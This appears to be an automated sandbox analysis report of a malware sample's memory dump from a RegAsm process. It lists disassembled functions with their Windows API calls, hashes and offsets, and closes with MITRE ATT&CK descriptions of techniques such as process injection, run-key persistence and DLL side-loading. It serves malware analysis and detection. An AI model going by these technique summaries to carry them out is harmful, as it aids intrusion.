Opcode ID: 32e65a15aed019a8b7395b58e584ffb2769d57e4966d81bb767bc6a7bf12a8d8
Instruction ID: af59b977606615079acd7a310a8afa41bd250120d803ccb4a837ad8b48953fd5
Opcode Fuzzy Hash: 32e65a15aed019a8b7395b58e584ffb2769d57e4966d81bb767bc6a7bf12a8d8
Instruction Fuzzy Hash: 5BD18BB0C00249DBDB04DFA9C9557EEBBB1BF54304F14419ED80577382EB785A45CBA6

Function 004E6C10 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000,00000005), ref: 004E6C55

Part of subcall function 00432BAA: ReleaseSRWLockExclusive.KERNEL32(004E6D30,?,004E6D38,005894F8,?,00000006), ref: 00432BBE

std::_Throw_Cpp_error.LIBCPMT ref: 004E6C84
std::_Throw_Cpp_error.LIBCPMT ref: 004E6C95

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateDirectoryExclusiveLockRelease
String ID:
API String ID: 1881651058-0
Opcode ID: 251b94c681db7aa9652e2079438b778d47cb236730820daf6fe536873be9b5d1
Instruction ID: b54f6e02dbe68d52aaf8ce57ceccae370b453a77f91dfdb3bbc81736346272f4
Opcode Fuzzy Hash: 251b94c681db7aa9652e2079438b778d47cb236730820daf6fe536873be9b5d1
Instruction Fuzzy Hash: B2F049B1500640FBD7109F999D06B6ABBA8FB05731F14031AFC35A63D0D7B5190087AA

Function 004435E9 Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,004435E3,00000016,00438A63,?,?,CE094684,00438A63,?), ref: 004435FA
TerminateProcess.KERNEL32(00000000,?,004435E3,00000016,00438A63,?,?,CE094684,00438A63,?), ref: 00443601
ExitProcess.KERNEL32 ref: 00443613

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 69c426e6c401d1e8d1ea007df5e4f58358fbed6c50feac9c0c1d9b73cd67489a
Instruction ID: df295c80cc57fa9c67f68f9c8245e2237928dd2aeb93de4157178db3b465fc19
Opcode Fuzzy Hash: 69c426e6c401d1e8d1ea007df5e4f58358fbed6c50feac9c0c1d9b73cd67489a
Instruction Fuzzy Hash: 15D05E32000205BBDF202F61DC0D85D3F35AF10747B010015B80546231CF36DA86EAA8

Function 0044298C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 004429A9

Strings

.D, xrefs: 0044273D, 00442740, 0044295D, 00442859, 004429A6

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID: .D
API String ID: 823142352-2659653689
Opcode ID: 9c728ddfee9c54fb3e95c04c245e6250a3a2534adf7d99ecf6cfd652071d74be
Instruction ID: d272b26d39d4c1a932e1863db2ccc44a4dabdf9078851b65b676bd57bd2e36c0
Opcode Fuzzy Hash: 9c728ddfee9c54fb3e95c04c245e6250a3a2534adf7d99ecf6cfd652071d74be
Instruction Fuzzy Hash: 7DD06C3200020DBBDF128F84DC06EDA3BAAFB48754F014000BA1856120C736E861EB90

Function 00414630 Relevance: 3.2, APIs: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004147CB
__fread_nolock.LIBCMT ref: 004147ED

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1cc4625157e06482bc7892c183cc23a861961514b381114f5fae70cf94b68db2
Instruction ID: f031c24f2f18038269490cfaee509094cede293d004219b616821f55084717b6
Opcode Fuzzy Hash: 1cc4625157e06482bc7892c183cc23a861961514b381114f5fae70cf94b68db2
Instruction Fuzzy Hash: 02616C366042018FCB14CF2DD8809AAB7E5EFC5724F05866AFC28CB395D735DC548B95

Function 00408860 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,0054CFC9), ref: 004088BA
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,0054CFC9), ref: 00408949

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 9d553c309eaf0ec6d76b26c37e536cf6c71fc17d85cd353d26b75711f1361f3a
Instruction ID: a48c6af83a789b8d390d343708f1e2f968cb1001ce38ffa5ab02fc04da5a6455
Opcode Fuzzy Hash: 9d553c309eaf0ec6d76b26c37e536cf6c71fc17d85cd353d26b75711f1361f3a
Instruction Fuzzy Hash: 5441E1B1D00705DBC720EF68DD85A6AB7B1FB54720F14432EE861733D1EB3869449B96

Function 00448DFF Relevance: 3.1, APIs: 2, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,CF830579,?,00448CE6,00000000,CF830579,0057A178,0000000C,00448DA2,0043D07D,?), ref: 00448E55
GetLastError.KERNEL32(?,00448CE6,00000000,CF830579,0057A178,0000000C,00448DA2,0043D07D,?), ref: 00448E5F

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: b06bb773f2e3691ac59e29f36838d983fea0542ad72171c0b67bdc6ed3fb0d12
Instruction ID: bfed174018f4c3fae0b74bea86efe9ace0911028d3bee9629bfc5162a0057b67
Opcode Fuzzy Hash: b06bb773f2e3691ac59e29f36838d983fea0542ad72171c0b67bdc6ed3fb0d12
Instruction Fuzzy Hash: 6E1125336042102AF6252236A84677F67499B82738F39061FF918CB2D2DF689C81825D

Function 0044251C Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0043D0C7,00000000,00000002,00000000,00000000,00000000,00000000,?,00442656,00000000,00000000,0043D0C7,00000002,00000000), ref: 00442558
GetLastError.KERNEL32(00000000,?,00442656,00000000,00000000,0043D0C7,00000002,00000000,?,0044982E,00000000,00000000,00000000,00000002,0043D0C7,00000000), ref: 00442565

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 68e58f652f7d6d636abaf7dbd87b622c8ec0f619f1e8a4c00f9091375e275125
Instruction ID: bcffdd1dd92d970d4fbe8e398a8ab980657c5c2bf717c74f1f656664416c076e
Opcode Fuzzy Hash: 68e58f652f7d6d636abaf7dbd87b622c8ec0f619f1e8a4c00f9091375e275125
Instruction Fuzzy Hash: 9B012632610615BFDF158F69DC1699E3B29EB84334F240209F8019B2E1E6B5ED429BA4

Function 00406AC0 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406ACE

Part of subcall function 00431F7B: FindNextFileW.KERNELBASE(00000000,?,?,00406858,?,?,?,?,0040691A,?,?,?,00000000,0041A941,?), ref: 00431F84

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406AE7

Part of subcall function 00431F7B: GetLastError.KERNEL32(?,00406858,?,?,?,?,0040691A,?,?,?,00000000,0041A941,?,?,00000000), ref: 00431F92

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8$ErrorFileFindLastNext
String ID:
API String ID: 1771861590-0
Opcode ID: 2eca518890caaa379a1e0359878d911f5a2dcd036f657f55f726f1354dd6abf9
Instruction ID: b6fc6809ca3b9e51c9116c2fd4c06139d5f14e5b7893a49902bdbfce3aa458c3
Opcode Fuzzy Hash: 2eca518890caaa379a1e0359878d911f5a2dcd036f657f55f726f1354dd6abf9
Instruction Fuzzy Hash: 58E0923230061432CD117A5799014AB775D9D973A8B41403BF906B3282EB79EC225AEA

Function 0044B01A Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B030
GetLastError.KERNEL32(?,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B03B

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c4e9b2b04b0a897153f19679bc75b8cfe8e1d75e6b310813c54f5389fc1414e
Instruction ID: f233056e1464041c82b2d36bf1c88bdb576215b3e64377b8de55bab97aefa9e3
Opcode Fuzzy Hash: 1c4e9b2b04b0a897153f19679bc75b8cfe8e1d75e6b310813c54f5389fc1414e
Instruction Fuzzy Hash: 66E08C32100204ABEB212FA5AC0CB9A3B69EF00756F15802AF608971B0DB38C894D798

Function 004C7070 Relevance: 1.8, APIs: 1, Instructions: 325fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004E74C0: __fread_nolock.LIBCMT ref: 004E7609

DeleteFileA.KERNEL32(?), ref: 004C70EB

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: DeleteFile__fread_nolock
String ID:
API String ID: 3901365830-0
Opcode ID: e4c42a41e13da26815c390e69a098adeb284a96eea5b76756b35a2b8cff9f5af
Instruction ID: 994a29ed8d939f73133b05733742be9ed0c6bb819da8c78882f75ca7b06cd161
Opcode Fuzzy Hash: e4c42a41e13da26815c390e69a098adeb284a96eea5b76756b35a2b8cff9f5af
Instruction Fuzzy Hash: 7CE18AB4D00249CBCB04CFA8C945BAEBBB1BF48304F24419DE9056B392DB78AE45CF95

Function 00438E02 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 604db14e0144287d266912850847b33f66d011360b7442347f2fca8d2ff93654
Instruction ID: 9663080612542d3e5f9b84a36c3ecf1ef98ea00319430370267f097460dfd66c
Opcode Fuzzy Hash: 604db14e0144287d266912850847b33f66d011360b7442347f2fca8d2ff93654
Instruction Fuzzy Hash: 2651C670A00204AFDF14DF59C881AAABBA2EF8D328F24915EF8089B352D775DD41CB55

Function 004E7640 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004E77AC

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: efc5517808ad87429c8addc81efacbd549641ac515ec5bafe32c07fe9eca9401
Instruction ID: 028c77ef4637c0ac0bfd58be9ca2c186fed01019b569c5d695070078eed700b9
Opcode Fuzzy Hash: efc5517808ad87429c8addc81efacbd549641ac515ec5bafe32c07fe9eca9401
Instruction Fuzzy Hash: A8517FB0D043499BDB10DF99D986BAEFBB4FF44714F10012EE8416B381D7796A44CBA5

Function 004E7330 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004E7483

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 2de96d21b4fcc4f8a2be045f7633a73eac0981d6ef9705922344b17ac338f603
Instruction ID: 0e53ea78c72a938f7fb02060282791f61ff368934c38134d11baa5cff418869a
Opcode Fuzzy Hash: 2de96d21b4fcc4f8a2be045f7633a73eac0981d6ef9705922344b17ac338f603
Instruction Fuzzy Hash: BE5159B0D00248DBCB14DF99C981AEEBBB4EF48714F24416DE8047B381D7799E41CBA5

Function 004E74C0 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004E7609

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 4c746fc778917f0c71a7698ee7b6924185f006f3bc9decf46c204c42cbafdab8
Instruction ID: 959dba962c579710b3c8227977385e6342f185642bc3a86ace1f34c607c4467c
Opcode Fuzzy Hash: 4c746fc778917f0c71a7698ee7b6924185f006f3bc9decf46c204c42cbafdab8
Instruction Fuzzy Hash: 78416CB0D04248EBDB14DF99D985BEEBBB4FF48714F10416EE801AB381D7799901CBA5

Function 00406870 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 00406908

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_directory_iterator_open@12
String ID:
API String ID: 29801545-0
Opcode ID: 6140c656ad96476634e213a03b33548de14bdea6f1c4321f2458b34eb8d89a1a
Instruction ID: 382a6ddcba4688358f9e0a4ad0208e6a3358ad319658d54a7c18dfc33c73484c
Opcode Fuzzy Hash: 6140c656ad96476634e213a03b33548de14bdea6f1c4321f2458b34eb8d89a1a
Instruction Fuzzy Hash: AB21AE76E00619ABCB14EF49D841BAAB7B4FB84324F00466EED1663780DB396D10CB94

Function 0044AC7F Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0044ACB9

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 8ff9ba0f0c894046871fc86ec0e9a1d79c4c84a1d92275a4dcbeaa53a6bd2b85
Instruction ID: f3143862af3a299983658f939e96efeb3759b05c7c18c303aa6d1d81ce31e1ed
Opcode Fuzzy Hash: 8ff9ba0f0c894046871fc86ec0e9a1d79c4c84a1d92275a4dcbeaa53a6bd2b85
Instruction Fuzzy Hash: 92112A71A0420AAFDF05DF58E94199F7BF5EF48304F04405AF809EB351D670DA25CB69

Function 0044CB91 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 0044424B: EnterCriticalSection.KERNEL32(-00588967,?,00445ACC,00000000,0057A018,0000000C,00445A94,?,?,0044A68D,?,?,00449FE0,00000001,00000364,00000001), ref: 0044425A

DeleteCriticalSection.KERNEL32(?,?,?,?,?,0057A2B8,00000010,004411CB), ref: 0044CBF4

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalSection$DeleteEnter
String ID:
API String ID: 228587788-0
Opcode ID: 937447397e70aa93683eaf283ea4b2192c8dc948d270d2cb26776f44543526ed
Instruction ID: d329973063e530521659e035b7d60fb4a986e7872c50bf11aba6cf05c750cfab
Opcode Fuzzy Hash: 937447397e70aa93683eaf283ea4b2192c8dc948d270d2cb26776f44543526ed
Instruction Fuzzy Hash: BF118C366013108FE720DF98E882BAC77B0FB08735F55110AE955AB3A1CB78E846DB59

Function 00408A00 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000200), ref: 00408A4F

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 32cb3c5e00b2599faed93c08183adb436d750bfb0166f699d95d9d325d08ef4e
Instruction ID: 6e8de35883c94421f6301e6c0c787345002e95f66c58390e835373a5d1cb831f
Opcode Fuzzy Hash: 32cb3c5e00b2599faed93c08183adb436d750bfb0166f699d95d9d325d08ef4e
Instruction Fuzzy Hash: 431104B1940319ABD720DF54CD08BDBBBB8EB04704F00435AE418A72C1EBB856488BE1

Function 004032D0 Relevance: 1.5, APIs: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0040331F

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 16a709daef89916b57ddedff551bf510b0cb69485a189a8f77017fe6771c2a21
Instruction ID: ac639495c118a2832fc09027b5ebf4fad0cef292c7be368858978faeea3118d5
Opcode Fuzzy Hash: 16a709daef89916b57ddedff551bf510b0cb69485a189a8f77017fe6771c2a21
Instruction Fuzzy Hash: 63F024321001009BCB246F61D4565EAB7ECDF28366B50083FFC8DD7292EB3EDA408788

Function 0044A65A Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000001,?,00449FE0,00000001,00000364,00000001,00000006,000000FF,?,00434B3F,0041ABAA,0041ABA8,?,?), ref: 0044A69B

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 89032516e5b3e6299283371760f336f91a06b383302663fb1c071aa923d3998c
Instruction ID: 9689b7dccde3e7d2c1426315cc49502dff6dd5535dcc2f3da2dc3831567fdc71
Opcode Fuzzy Hash: 89032516e5b3e6299283371760f336f91a06b383302663fb1c071aa923d3998c
Instruction Fuzzy Hash: 4CF0E0311905246BFB216A66DC05B5B375CAF41760F1E8117EC84EB190CA3CDC3146EE

Function 0044B094 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000001,0041ABA8,?,00434B3F,0041ABAA,0041ABA8,?,?,?,00403522,?,0041ABAC), ref: 0044B0C6

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c639ae0624eff34eb8e57d07392fb4ffc7a0b3e65f726cef66c68c9318aea675
Instruction ID: 07eaf642519ac51a5bd3283dd2addbb445c80e248ae9cef49388ffb333b33e8c
Opcode Fuzzy Hash: c639ae0624eff34eb8e57d07392fb4ffc7a0b3e65f726cef66c68c9318aea675
Instruction Fuzzy Hash: 99E022322006206BFF313AA69C14B5B764CEF413A3F190227EC25A62D1DB3CCC0092EE

Function 004411BE Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 0044CB91: DeleteCriticalSection.KERNEL32(?,?,?,?,?,0057A2B8,00000010,004411CB), ref: 0044CBF4

DeleteCriticalSection.KERNEL32(-00000020), ref: 004411E7

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: ee845d244d1885cf95c449609c79dbdef823466ac37d5b5a4c965e935d84db1c
Instruction ID: 47a0fdfa829ad2e2cc71d0a60fb2a2b3ab48e57c87de8382927c36061918ca03
Opcode Fuzzy Hash: ee845d244d1885cf95c449609c79dbdef823466ac37d5b5a4c965e935d84db1c
Instruction Fuzzy Hash: 3CE0D83241121087EB70AB59FC4197A73E4DB18335F52040AF81473321CF35AC84B78D

Function 00406840 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406853

Part of subcall function 00431F7B: FindNextFileW.KERNELBASE(00000000,?,?,00406858,?,?,?,?,0040691A,?,?,?,00000000,0041A941,?), ref: 00431F84

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID:
API String ID: 3878998205-0
Opcode ID: 0b9b7a2be4556d67719362d67afe6131e98dc99b1db50658bd5de953d38406f0
Instruction ID: f155dccb83496c4d8f98fbb14974b26749813e83e467fdfa34ea523ab42003ff
Opcode Fuzzy Hash: 0b9b7a2be4556d67719362d67afe6131e98dc99b1db50658bd5de953d38406f0
Instruction Fuzzy Hash: 63D05E22701520118D24752738085AF06498DC66A8A42447FB84AB32C2EA2D8C0311AD

Function 0040A290 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6B7A0000,0045C740,00000000,00000000), ref: 0040A2A3

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 523d580a95409b086a33cc15d17657e5b1483e627d0d77456e0e994f9a85c2fc
Instruction ID: 489c84b6cbb0f84c55d3e5ea9df0af6f7cd94e75f161fc05a226dade883491c6
Opcode Fuzzy Hash: 523d580a95409b086a33cc15d17657e5b1483e627d0d77456e0e994f9a85c2fc
Instruction Fuzzy Hash: 84C01234A043808FE7168724AC0C7A33BD46331300F4C60B99C00F23A2C63E844CE7A2

Function 0040A291 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6B7A0000,0045C740,00000000,00000000), ref: 0040A2A3

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: dc1901d49d80084c968c7c98edc39cec62791d3628eb14c549ed5e68097e58e0
Instruction ID: f396f64af9e4073b0ea7e75b70e277bda26445820ea7108c984f348661768120
Opcode Fuzzy Hash: dc1901d49d80084c968c7c98edc39cec62791d3628eb14c549ed5e68097e58e0
Instruction Fuzzy Hash: C6C08C5880A3C0DFD702A334484C226BF806F33201F8C40E98840AA3A3C1AF0018C3A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
